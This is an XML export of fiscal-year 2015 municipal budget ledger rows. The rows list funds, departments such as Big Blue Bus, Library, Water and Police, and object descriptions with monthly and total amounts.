<row _id="17672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30000</total></row>
<row _id="17673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>151951</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>151951</total></row>
<row _id="17674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401220.0</object><object_description>REC-PARK BUILDING RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-156400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-156400</total></row>
<row _id="17675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11272</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11272</total></row>
<row _id="17677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533260.0</object><object_description>REPAIRS/IMPROVEMENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66000</total></row>
<row _id="17678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>72930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72930</total></row>
<row _id="17680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>854271</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>854271</total></row>
<row _id="17681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17057</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17057</total></row>
<row _id="17682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>167149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>167149</total></row>
<row _id="17683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>556293</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>556293</total></row>
<row _id="17684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544070.0</object><object_description>NON-PRINT RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>208000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>208000</total></row>
<row _id="17685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="17686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9000</total></row>
<row _id="17687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17135</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17135</total></row>
<row _id="17689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>168500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>168500</total></row>
<row _id="17690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>157000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>157000</total></row>
<row _id="17691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>230634</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>230634</total></row>
<row _id="17692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>141487</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>141487</total></row>
<row _id="17693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>198433</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>198433</total></row>
<row _id="17694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500000</total></row>
<row _id="17695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522140.0</object><object_description>WATER PURCHASES</object_description><category_code>852.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4504200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4504200</total></row>
<row _id="17696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566940.0</object><object_description>PARKING AUTHORITY REV BOND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1133826</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1133826</total></row>
<row _id="17697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>73061</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>73061</total></row>
<row _id="17698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-1147521</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1147521</total></row>
<row _id="17699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="17700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>840000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>840000</total></row>
<row _id="17701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>294712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>294712</total></row>
<row _id="17702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402310.0</object><object_description>WATER - COMMERCIAL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-19066600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19066600</total></row>
<row _id="17703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402210.0</object><object_description>MAUSOLEUM SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-115477</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-115477</total></row>
<row _id="17704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>400210.0</object><object_description>CITY CLERK COUNTER FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-500</total></row>
<row _id="17705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401340.0</object><object_description>GEN PROM BUS LIC.-DOWNTOWN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-10150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10150</total></row>
<row _id="17706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401350.0</object><object_description>GEN PROM BUS LICENSE MONTANA</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-5350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5350</total></row>
<row _id="17707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>267</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>267</total></row>
<row _id="17708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5395</total></row>
<row _id="17709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26313</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26313</total></row>
<row _id="17710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7635</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7635</total></row>
<row _id="17712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10155</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10155</total></row>
<row _id="17713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400000.0</object><object_description>REVENUE</object_description><category_code xsi:nil="true" /><category_code_description>REVENUE</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1110000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1110000</total></row>
<row _id="17715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7126</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7126</total></row>
<row _id="17717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566631.0</object><object_description>SMURRF PLANT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>432650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>432650</total></row>
<row _id="17718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404400.0</object><object_description>AFFORD HSING PROD PRGM DEVELOP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1312000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1312000</total></row>
<row _id="17719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1092</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1092</total></row>
<row _id="17721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75000</total></row>
